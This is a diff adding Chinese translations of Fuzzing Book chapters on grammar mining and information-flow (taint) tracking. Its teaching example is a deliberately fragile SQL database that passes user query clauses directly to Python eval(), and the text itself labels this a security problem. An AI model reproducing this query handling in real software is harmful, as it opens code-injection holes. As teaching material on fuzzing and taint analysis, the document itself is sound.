+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">Ford</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:model
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 301.5 92" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">process_van@1:model</text></g></g> <g><g class="non-terminal"><text x="150.75" y="65">process_car@1:model</text></g></g></g></g></svg>
+
+```py
+process_van@1:model
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">E350</text></g></g></g></g></svg>
+
+```py
+process_car@1:year
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">2000</text></g></g> <g><g class="terminal"><text x="87.0" y="65">1999</text></g></g></g></g></svg>
+
+```py
+process_car@1:company
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Chevy</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Mercury</text></g></g></g></g></svg>
+
+```py
+process_car@1:model
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Cougar</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Venture</text></g></g></g></g></svg>
+
+我们更新了`update_grammar()`以使用正确的跟踪器和矿机。
+
+```py
+class ScopedGrammarMiner(ScopedGrammarMiner):
+    def update_grammar(self, inputstr, trace):
+        at = self.create_tracker(inputstr, trace)
+        dt = self.create_tree_miner(
+            inputstr, at.my_assignments.defined_vars(
+                formatted=False))
+        self.add_tree(dt)
+        return self.grammar
+
+    def create_tracker(self, *args):
+        return ScopeTracker(*args)
+
+    def create_tree_miner(self, *args):
+        return ScopeTreeMiner(*args)
+
+```
+
+`recover_grammar()`使用正确的矿工，并返回已清除的语法。
+
+```py
+def recover_grammar(fn, inputs, **kwargs):
+    miner = ScopedGrammarMiner()
+    for inputstr in inputs:
+        with Tracer(inputstr, **kwargs) as tracer:
+            fn(tracer.my_input)
+        miner.update_grammar(tracer.my_input, tracer.trace)
+    return readable(miner.clean_grammar())
+
+```
+
+```py
+url_grammar = recover_grammar(url_parse, URLS_X, files=['urllib/parse.py'])
+
+```
+
+```py
+syntax_diagram(url_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 276.0 62" width="276.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="138.0" y="35">urlsplit@394:url</text></g></g></g></g></svg>
+
+```py
+urlsplit@394:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 560.0 62" width="560.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">urlparse@369:scheme</text></g> <g class="terminal"><text x="275.75" y="35">:</text></g> <g class="non-terminal"><text x="405.0" y="35">_splitnetloc@386:url</text></g></g></g></g></svg>
+
+```py
+urlparse@369:scheme
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 182.5 122" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="35">ftp</text></g></g> <g><g class="terminal"><text x="91.25" y="65">https</text></g></g> <g><g class="terminal"><text x="91.25" y="95">http</text></g></g></g></g></svg>
+
+```py
+_splitnetloc@386:url
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 534.5 122" width="534.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">//</text></g> <g class="non-terminal"><text x="207.75" y="35">urlparse@369:netloc</text></g> <g class="non-terminal"><text x="396.5" y="35">urlsplit@415:url</text></g></g> <g><g class="terminal"><text x="78.5" y="65">//</text></g> <g class="non-terminal"><text x="207.75" y="65">urlparse@369:netloc</text></g> <g class="non-terminal"><text x="396.5" y="65">urlparse@369:url</text></g></g> <g><g class="terminal"><text x="142.25" y="95">//</text></g> <g class="non-terminal"><text x="271.5" y="95">urlparse@369:netloc</text></g> <g class="terminal"><text x="396.5" y="95">/</text></g></g></g></g></svg>
+
+```py
+urlparse@369:netloc
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 369.5 152" width="369.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="184.75" y="65">www.cispa.saarland:80</text></g></g> <g><g class="terminal"><text x="184.75" y="35">freebsd.org</text></g></g> <g><g class="terminal"><text x="184.75" y="95">user:pass@www.google.com:80</text></g></g> <g><g class="terminal"><text x="184.75" y="125">www.fuzzingbook.org</text></g></g></g></g></svg>
+
+```py
+urlsplit@415:url
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 543.0 92" width="543.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="162.25" y="35">/#</text></g> <g class="non-terminal"><text x="300.0" y="35">urlparse@369:fragment</text></g></g> <g><g class="non-terminal"><text x="138.0" y="65">urlsplit@420:url</text></g> <g class="terminal"><text x="250.25" y="65">#</text></g> <g class="non-terminal"><text x="383.75" y="65">urlparse@369:fragment</text></g></g></g></g></svg>
+
+```py
+urlsplit@420:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 350.0 62" width="350.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="78.5" y="35">/?</text></g> <g class="non-terminal"><text x="203.5" y="35">urlparse@369:query</text></g></g></g></g></svg>
+
+```py
+urlparse@369:query
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="95.5" y="35">q=path</text></g></g></g></g></svg>
+
+```py
+urlparse@369:fragment
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">News</text></g></g> <g><g class="terminal"><text x="87.0" y="65">ref</text></g></g></g></g></svg>
+
+```py
+urlparse@369:url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 250.5 62" width="250.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="125.25" y="35">/releases/5.8</text></g></g></g></g></svg>
+
+```py
+f = GrammarFuzzer(url_grammar)
+for _ in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+ftp://user:pass@www.google.com:80/?q=path#ref
+http://freebsd.org/
+ftp://freebsd.org/#News
+http://www.cispa.saarland:80/?q=path#ref
+http://user:pass@www.google.com:80/#ref
+https://freebsd.org/
+ftp://freebsd.org/#ref
+ftp://freebsd.org/
+ftp://freebsd.org/releases/5.8
+ftp://user:pass@www.google.com:80/#News
+
+```
+
+```py
+inventory_grammar = recover_grammar(process_inventory, [INVENTORY])
+
+```
+
+```py
+syntax_diagram(inventory_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 386.5 62" width="386.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="193.25" y="35">process_inventory@1:inventory</text></g></g></g></g></svg>
+
+```py
+process_inventory@1:inventory
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 954.5 62" width="954.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="176.25" y="35">process_vehicle@1:vehicle</text></g><g class="non-terminal"><text x="477.25" y="35">process_vehicle@1:vehicle</text></g><g class="non-terminal"><text x="778.25" y="35">process_vehicle@1:vehicle</text></g></g></g></g></svg>
+
+```py
+process_vehicle@1:vehicle
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 1187.5 62" width="1187.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="163.5" y="35">process_vehicle@2:year</text></g> <g class="terminal"><text x="301.25" y="35">,</text></g> <g class="non-terminal"><text x="439.0" y="35">process_vehicle@2:kind</text></g> <g class="terminal"><text x="576.75" y="35">,</text></g> <g class="non-terminal"><text x="727.25" y="35">process_vehicle@2:company</text></g> <g class="terminal"><text x="877.75" y="35">,</text></g> <g class="non-terminal"><text x="1019.75" y="35">process_vehicle@2:model</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:year
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 293.0 92" width="293.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="146.5" y="35">process_car@1:year</text></g></g> <g><g class="non-terminal"><text x="146.5" y="65">process_van@1:year</text></g></g></g></g></svg>
+
+```py
+process_van@1:year
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">1997</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:kind
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 165.5 92" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="82.75" y="35">van</text></g></g> <g><g class="terminal"><text x="82.75" y="65">car</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:company
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 318.5 92" width="318.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="159.25" y="35">process_van@1:company</text></g></g> <g><g class="non-terminal"><text x="159.25" y="65">process_car@1:company</text></g></g></g></g></svg>
+
+```py
+process_van@1:company
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">Ford</text></g></g></g></g></svg>
+
+```py
+process_vehicle@2:model
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 301.5 92" width="301.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="150.75" y="35">process_van@1:model</text></g></g> <g><g class="non-terminal"><text x="150.75" y="65">process_car@1:model</text></g></g></g></g></svg>
+
+```py
+process_van@1:model
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">E350</text></g></g></g></g></svg>
+
+```py
+process_car@1:year
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 174.0 92" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">2000</text></g></g> <g><g class="terminal"><text x="87.0" y="65">1999</text></g></g></g></g></svg>
+
+```py
+process_car@1:company
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Chevy</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Mercury</text></g></g></g></g></svg>
+
+```py
+process_car@1:model
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="99.75" y="35">Cougar</text></g></g> <g><g class="terminal"><text x="99.75" y="65">Venture</text></g></g></g></g></svg>
+
+```py
+f = GrammarFuzzer(inventory_grammar)
+for _ in range(10):
+    print(f.fuzz())
+
+```
+
+```py
+1997,car,Chevy,E350
+1997,van,Ford,Cougar
+2000,car,Chevy,Venture
+1999,car,Ford,E350
+1997,car,Mercury,E350
+2000,van,Mercury,E350
+1997,van,Mercury,Venture
+2000,van,Mercury,E350
+1997,van,Ford,E350
+1997,car,Mercury,Venture
+1997,car,Mercury,E350
+1997,car,Mercury,E350
+1997,van,Chevy,E350
+1997,van,Mercury,E350
+1997,van,Chevy,E350
+2000,car,Ford,E350
+2000,van,Chevy,E350
+1997,van,Mercury,E350
+1999,car,Chevy,E350
+2000,van,Mercury,E350
+2000,van,Ford,E350
+2000,car,Mercury,E350
+1999,car,Ford,E350
+2000,van,Chevy,Cougar
+1997,car,Ford,E350
+1997,car,Mercury,E350
+1997,car,Chevy,Venture
+1997,car,Ford,Venture
+1997,car,Mercury,E350
+1997,van,Mercury,E350
+
+```
+
+我们看到跟踪范围如何帮助我们提取更精确的语法。
+
+请注意，我们使用*字符串*包含测试作为确定特定字符串片段是否来自原始输入字符串的方法。 与动态污点相比，这似乎容易出错，但我们注意到，许多跟踪工具（例如`dtrace()`和`ptrace()`）允许人们直接在不同平台上执行二进制文件来获取我们想要的信息。 但是，获取动态污点的方法几乎总是涉及在使用二进制文件之前对其进行检测。 因此，这种包含字符串的方法可以比动态污染方法更普遍地应用。 此外，动态污点经常由于隐式传输而丢失，或者在 *Python* 和 *C* 代码之间的边界处丢失。 字符串包含没有这样的问题。 因此，与依靠动态污染相比，我们的方法通常可以获得更好的结果。
+
+## 经验教训
+
+*   给定程序的一组示例输入，如果程序依赖于手写解析器，我们可以通过在执行过程中检查变量值来学习输入语法。
+*   简单的字符串包含检查足以从实际程序中获取合理准确的语法。
+*   生成的语法可以直接用于模糊测试，并且可以对您拥有的所有样本产生乘数效应。
+
+## 后续步骤
+
+*   了解如何使用[信息流](InformationFlow.html)进一步改善将输入映射到状态。
+
+## 背景
+
+从一组*样本*中恢复语言（即，不考虑可能处理它们的程序）是一个经过充分研究的主题。 Higuera [De la Higuera *等人*，2010。]的优秀参考资料涵盖了所有经典方法。 Clark [Clark *等人*，2013。]描述了黑盒语法挖掘的最新技术。
+
+从*程序*中学习输入语言（有或没有样本），尽管可能会引起混淆，但仍是一个新兴话题。 该领域的开拓性工作是由Lin等人完成的。 [ [Lin *等人*，2008。](https://doi.org/10.1145/1453101.1453114)]发明了一种从上向下和下向上的解析器检索解析树的方法。 本章中描述的方法直接基于Hoschele等人的AUTOGRAM工作。 [[Höschele*等人*，2017年。](https://doi.org/10.1109/ICSE-C.2017.14)]。
+
+## 练习
+
+### 练习1：展平复杂对象
+
+我们的语法挖掘者仅检查字符串片段。 但是，程序可能经常传递包含输入片段的容器或自定义对象。 例如，考虑对清单处理器进行合理的修改，其中我们使用自定义对象`Vehicle`携带片段。
+
+```py
+class Vehicle:
+    def __init__(self, vehicle):
+        year, kind, company, model, *_ = vehicle.split(',')
+        self.year, self.kind, self.company, self.model = year, kind, company, model
+
+```
+
+```py
+def process_inventory(inventory):
+    res = []
+    for vehicle in inventory.split('\n'):
+        ret = process_vehicle(vehicle)
+        res.extend(ret)
+    return '\n'.join(res)
+
+```
+
+```py
+def process_vehicle(vehicle):
+    v = Vehicle(vehicle)
+    if v.kind == 'van':
+        return process_van(v)
+
+    elif v.kind == 'car':
+        return process_car(v)
+
+    else:
+        raise Exception('Invalid entry')
+
+```
+
+```py
+def process_van(vehicle):
+    res = [
+        "We have a %s  %s van from %s vintage." % (vehicle.company,
+                                                  vehicle.model, vehicle.year)
+    ]
+    iyear = int(vehicle.year)
+    if iyear > 2010:
+        res.append("It is a recent model!")
+    else:
+        res.append("It is an old but reliable model!")
+    return res
+
+```
+
+```py
+def process_car(vehicle):
+    res = [
+        "We have a %s  %s car from %s vintage." % (vehicle.company,
+                                                  vehicle.model, vehicle.year)
+    ]
+    iyear = int(vehicle.year)
+    if iyear > 2016:
+        res.append("It is a recent model!")
+    else:
+        res.append("It is an old but reliable model!")
+    return res
+
+```
+
+我们像以前一样恢复语法。
+
+```py
+vehicle_grammar = recover_grammar(
+    process_inventory,
+    [INVENTORY],
+    methods=INVENTORY_METHODS)
+
+```
+
+缺少新的车辆语法，尤其是在面包车和轿车的不同型号和公司方面。
+
+```py
+syntax_diagram(vehicle_grammar)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 386.5 62" width="386.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="193.25" y="35">process_inventory@1:inventory</text></g></g></g></g></svg>
+
+```py
+process_inventory@1:inventory
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 954.5 62" width="954.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="176.25" y="35">process_vehicle@1:vehicle</text></g><g class="non-terminal"><text x="477.25" y="35">process_vehicle@1:vehicle</text></g><g class="non-terminal"><text x="778.25" y="35">process_vehicle@1:vehicle</text></g></g></g></g></svg>
+
+```py
+process_vehicle@1:vehicle
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 335.5 122" width="335.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="167.75" y="35">2000,car,Mercury,Cougar</text></g></g> <g><g class="terminal"><text x="167.75" y="65">1999,car,Chevy,Venture</text></g></g> <g><g class="terminal"><text x="167.75" y="95">1997,van,Ford,E350</text></g></g></g></g></svg>
+
+问题是，我们正在专门寻找在跟踪过程中包含输入字符串片段的字符串对象。 您是否可以修改我们的语法挖掘器以正确解决复杂对象？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarMiner.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：整合InformationFlow 中的污点
+
+我们一直在使用*包含字符串*来检查特定片段是否来自输入字符串。 这是不令人满意的，因为它要求我们在跟踪的字符串的大小上做出折衷，这仅限于大于`FRAGMENT_LEN`的字符串。 此外，单个方法可能会处理片段重复的字符串，但该字符串是不同标记的一部分。 例如，CSV文件中的嵌入式逗号会导致我们的解析器失败。 避免这种情况的一种方法是依靠*动态污点*并检查污点包含而不是字符串包含。
+
+关于[信息流](InformationFlow.html)的章节详细介绍了如何合并动态污点。 您能否根据范围更新我们的语法挖掘器，以改用*动态污点*？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GrammarMiner.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/25.md b/new/fuzzing-book-zh/25.md
new file mode 100644
index 0000000000000000000000000000000000000000..0c5e6802e4d5a79862a3c77bc3370093ee7ccc81
--- /dev/null
+++ b/new/fuzzing-book-zh/25.md
@@ -0,0 +1,3269 @@
+# 跟踪信息流
+
+> 原文： [https://www.fuzzingbook.org/html/InformationFlow.html](https://www.fuzzingbook.org/html/InformationFlow.html)
+
+我们已经探索了如何产生更好的输入，这些输入可以深入到所讨论的程序中。 这样做时，我们依靠程序崩溃来告诉我们我们已成功找到程序中的问题。 但是，这很简单。 如果程序的行为完全不正确，但不会导致崩溃怎么办？ 能做得更好吗？
+
+在本章中，我们深入探讨如何在Python中跟踪信息流，以及如何使用这些流来确定程序是否表现出预期的行为。
+
+**前提条件**
+
+*   您应该已经阅读了关于的[一章。](Coverage.html)
+*   您应该已经阅读了[关于概率模糊](ProbabilisticGrammarFuzzer.html)的章节。
+
+我们首先建立基础架构，以便可以使用先前定义的功能。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.InformationFlow](InformationFlow.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章为Python *字符串*提供了两个包装器，使它们可以跟踪各种属性。 这些信息包括有关输入的安全性的信息以及有关输入字符串的原始索引的信息。
+
+要跟踪有关安全属性的信息，请按以下方式使用`tstr`：
+
+```py
+>>> thello = tstr('hello', taint='LOW')
+
+```
+
+现在，来自`thello`的任何导致字符串片段的操作都将包含正确的异味。 例如：
+
+```py
+>>> thello[1:2].taint
+'LOW'
+
+```
+
+要跟踪输入字符串中的原始索引，请按以下方式使用`ostr`：
+
+```py
+>>> ohw = ostr("hello\tworld", origin=100)
+
+```
+
+原始索引可以按以下方式恢复：
+
+```py
+>>> (ohw[0:4] +"-"+ ohw[6:]).origin
+[100, 101, 102, 103, -1, 106, 107, 108, 109, 110]
+
+```
+
+## 脆弱的数据库
+
+假设我们要在Python中实现*内存数据库*服务。 这是一个相当脆弱的尝试。 我们使用以下数据集。
+
+```py
+INVENTORY = """\
+1997,van,Ford,E350
+2000,car,Mercury,Cougar
+1999,car,Chevy,Venture\
+"""
+
+```
+
+```py
+VEHICLES = INVENTORY.split('\n')
+
+```
+
+我们的数据库是一个Python类，它解析其参数并引发下面定义的`SQLException`。
+
+```py
+class SQLException(Exception):
+    pass
+
+```
+
+该数据库只是一个仅通过SQL查询公开的Python `dict`。
+
+```py
+class DB:
+    def __init__(self, db={}):
+        self.db = dict(db)
+
+```
+
+### 代表表
+
+该数据库包含表，这些表是通过方法调用`create_table()`创建的。 每个表数据结构都是一对值。 第一个是包含列名称和类型的元数据。 第二个值是表中的值列表。
+
+```py
+class DB(DB):
+    def create_table(self, table, defs):
+        self.db[table] = (defs, [])
+
+```
+
+可以使用`table()`方法调用使用名称来检索表。
+
+```py
+class DB(DB):
+    def table(self, t_name):
+        if t_name in self.db:
+            return self.db[t_name]
+        raise SQLException('Table (%s) was not found' % repr(t_name))
+
+```
+
+这是如何同时使用两者的示例。 我们用四列填充表`inventory`：`year`，`kind`，`company`和`model`。 最初，我们的表为空。
+
+```py
+def sample_db():
+    db = DB()
+    inventory_def = {'year': int, 'kind': str, 'company': str, 'model': str}
+    db.create_table('inventory', inventory_def)
+    return db
+
+```
+
+使用`table()`，我们可以检索表定义及其内容。
+
+```py
+db = sample_db()
+db.table('inventory')
+
+```
+
+```py
+({'year': int, 'kind': str, 'company': str, 'model': str}, [])
+
+```
+
+我们还定义了`column()`，用于从表声明中检索列定义。
+
+```py
+class DB(DB):
+    def column(self, table_decl, c_name):
+        if c_name in table_decl: 
+            return table_decl[c_name]
+        raise SQLException('Column (%s) was not found' % repr(c_name))
+
+```
+
+```py
+db = sample_db()
+decl, rows = db.table('inventory')
+db.column(decl, 'year')
+
+```
+
+```py
+int
+
+```
+
+### 执行SQL语句
+
+`DB`的`sql()`方法执行SQL语句。 它检查其参数，并根据要执行的SQL语句的类型调度查询。
+
+```py
+class DB(DB):
+    def do_select(self, query):
+        assert False
+    def do_update(self, query):
+        assert False
+    def do_insert(self, query):
+        assert False
+    def do_delete(self, query):
+        assert False
+
+    def sql(self, query):
+        methods = [('select ', self.do_select), 
+                   ('update ', self.do_update),
+                   ('insert into ', self.do_insert),
+                   ('delete from', self.do_delete)]
+        for key, method in methods:
+            if query.startswith(key):
+                return method(query[len(key):])
+        raise SQLException('Unknown SQL (%s)' % query)
+
+```
+
+此时，尚未定义用于处理SQL语句的各个方法。 让我们在下一步中执行此操作。
+
+### 选择数据
+
+`do_select()`方法处理SQL `select`语句以从表中检索数据。
+
+```py
+class DB(DB):
+    def do_select(self, query):
+        FROM, WHERE = ' from ', ' where '
+        table_start = query.find(FROM)
+        if table_start < 0:
+            raise SQLException('no table specified')
+
+        where_start = query.find(WHERE)
+        select = query[:table_start]
+
+        if where_start >= 0:
+            t_name = query[table_start + len(FROM):where_start]
+            where = query[where_start + len(WHERE):]
+        else:
+            t_name = query[table_start + len(FROM):]
+            where = ''
+        _, table = self.table(t_name)
+
+        if where:
+            selected = self.expression_clause(table, "(%s)" % where)
+            selected_rows = [hm for i, data, hm in selected if data]
+        else:
+            selected_rows = table
+
+        rows = self.expression_clause(selected_rows, "(%s)" % select)
+        return [data for i, data, hm in rows]
+
+```
+
+`expression_clause()`方法用于两个目的：
+
+1.  以`select` $ x $，$ y $，$ z $ `from` $ t $的形式，*计算*（并返回）表达式$ x $，$ y $，$ z $ in 所选行的上下文。
+2.  如果给出了子句`where` $ p $，它也会在行的上下文中评估$ p $，并且仅当$ p $成立时才将行包括在选择中。
+
+为了评估$ x $，$ y $，$ z $或$ p $之类的表达式，我们使用Python评估函数。
+
+```py
+class DB(DB):
+    def expression_clause(self, table, statement):
+        selected = []
+        for i, hm in enumerate(table):
+            selected.append((i, self.my_eval(statement, {}, hm), hm))
+
+        return selected
+
+```
+
+内部调用`my_eval()`来评估任何给定的语句。
+
+```py
+class DB(DB):
+    def my_eval(self, statement, g, l):
+        try:
+            return eval(statement, g, l)
+        except:
+            raise SQLException('Invalid WHERE (%s)' % repr(statement))
+
+```
+
+**注意：**在此处使用`eval()`引入了一些重要的安全问题，我们将在本章稍后讨论。
+
+这是我们可以使用`sql()`发出查询的方法。 请注意该表仍为空。
+
+```py
+db = sample_db()
+db.sql('select year from inventory')
+
+```
+
+```py
+[]
+
+```
+
+```py
+db = sample_db()
+db.sql('select year from inventory where year == 2018')
+
+```
+
+```py
+[]
+
+```
+
+### 插入数据
+
+`do_insert()`方法处理SQL `insert`语句。
+
+```py
+class DB(DB):
+    def do_insert(self, query):
+        VALUES = ' values '
+        table_end = query.find('(')
+        t_name = query[:table_end].strip()
+        names_end = query.find(')')
+        decls, table = self.table(t_name)
+        names = [i.strip() for i in query[table_end + 1:names_end].split(',')]
+
+        # verify columns exist
+        for k in names:
+            self.column(decls, k)
+
+        values_start = query.find(VALUES)
+
+        if values_start < 0:
+            raise SQLException('Invalid INSERT (%s)' % repr(query))
+
+        values = [
+            i.strip() for i in query[values_start + len(VALUES) + 1:-1].split(',')
+        ]
+
+        if len(names) != len(values):
+            raise SQLException(
+                'names(%s) != values(%s)' % (repr(names), repr(values)))
+
+        kvs = {k: self.convert(decls[k], v) for k, v in zip(names, values)}
+        table.append(kvs)
+
+```
+
+在SQL中，列可以包含任何受支持的数据类型。 为了确保使用最初声明的类型存储它，我们需要能够将值转换为`convert()`提供的特定类型。
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+
+```
+
+```py
+class DB(DB):
+    def convert(self, cast, value):
+        try:
+            return cast(ast.literal_eval(value))
+        except:
+            raise SQLException('Invalid Conversion %s(%s)' % (cast, value))
+
+```
+
+这是有关如何使用SQL `insert`命令的示例：
+
+```py
+db = sample_db()
+db.sql('insert into inventory (year, kind, company, model) values (1997, "van", "Ford", "E350")')
+db.table('inventory')
+
+```
+
+```py
+({'year': int, 'kind': str, 'company': str, 'model': str},
+ [{'year': 1997, 'kind': 'van', 'company': 'Ford', 'model': 'E350'}])
+
+```
+
+填充数据库后，我们还可以运行更复杂的查询：
+
+```py
+db.sql('select year + 1, kind from inventory')
+
+```
+
+```py
+[(1998, 'van')]
+
+```
+
+```py
+db.sql('select year, kind from inventory where year == 1997')
+
+```
+
+```py
+[(1997, 'van')]
+
+```
+
+### 更新数据
+
+同样，`do_update()`处理SQL `update`语句。
+
+```py
+class DB(DB):
+    def do_update(self, query):
+        SET, WHERE = ' set ', ' where '
+        table_end = query.find(SET)
+
+        if table_end < 0:
+            raise SQLException('Invalid UPDATE (%s)' % repr(query))
+
+        set_end = table_end + 5
+        t_name = query[:table_end]
+        decls, table = self.table(t_name)
+        names_end = query.find(WHERE)
+
+        if names_end >= 0:
+            names = query[set_end:names_end]
+            where = query[names_end + len(WHERE):]
+        else:
+            names = query[set_end:]
+            where = ''
+
+        sets = [[i.strip() for i in name.split('=')]
+                for name in names.split(',')]
+
+        # verify columns exist
+        for k, v in sets:
+            self.column(decls, k)
+
+        if where:
+            selected = self.expression_clause(table, "(%s)" % where)
+            updated = [hm for i, d, hm in selected if d]
+        else:
+            updated = table
+
+        for hm in updated:
+            for k, v in sets:
+                hm[k] = self.convert(decls[k], v)
+
+        return "%d records were updated" % len(updated)
+
+```
+
+这是一个例子。 让我们首先用值再次填充数据库：
+
+```py
+db = sample_db()
+db.sql('insert into inventory (year, kind, company, model) values (1997, "van", "Ford", "E350")')
+db.sql('select year from inventory')
+
+```
+
+```py
+[1997]
+
+```
+
+现在我们可以更新内容：
+
+```py
+db.sql('update inventory set year = 1998 where year == 1997')
+db.sql('select year from inventory')
+
+```
+
+```py
+[1998]
+
+```
+
+```py
+db.table('inventory')
+
+```
+
+```py
+({'year': int, 'kind': str, 'company': str, 'model': str},
+ [{'year': 1998, 'kind': 'van', 'company': 'Ford', 'model': 'E350'}])
+
+```
+
+### 删除数据
+
+最后，SQL `delete`语句由`do_delete()`处理。
+
+```py
+class DB(DB):
+    def do_delete(self, query):
+        WHERE = ' where '
+        table_end = query.find(WHERE)
+        if table_end < 0:
+            raise SQLException('Invalid DELETE (%s)' % query)
+        t_name = query[:table_end].strip()
+        _, table = self.table(t_name)
+        where = query[table_end + len(WHERE):]
+        selected = self.expression_clause(table, "%s" % where)
+        deleted = [i for i, d, hm in selected if d]
+        for i in sorted(deleted, reverse=True):
+            del table[i]
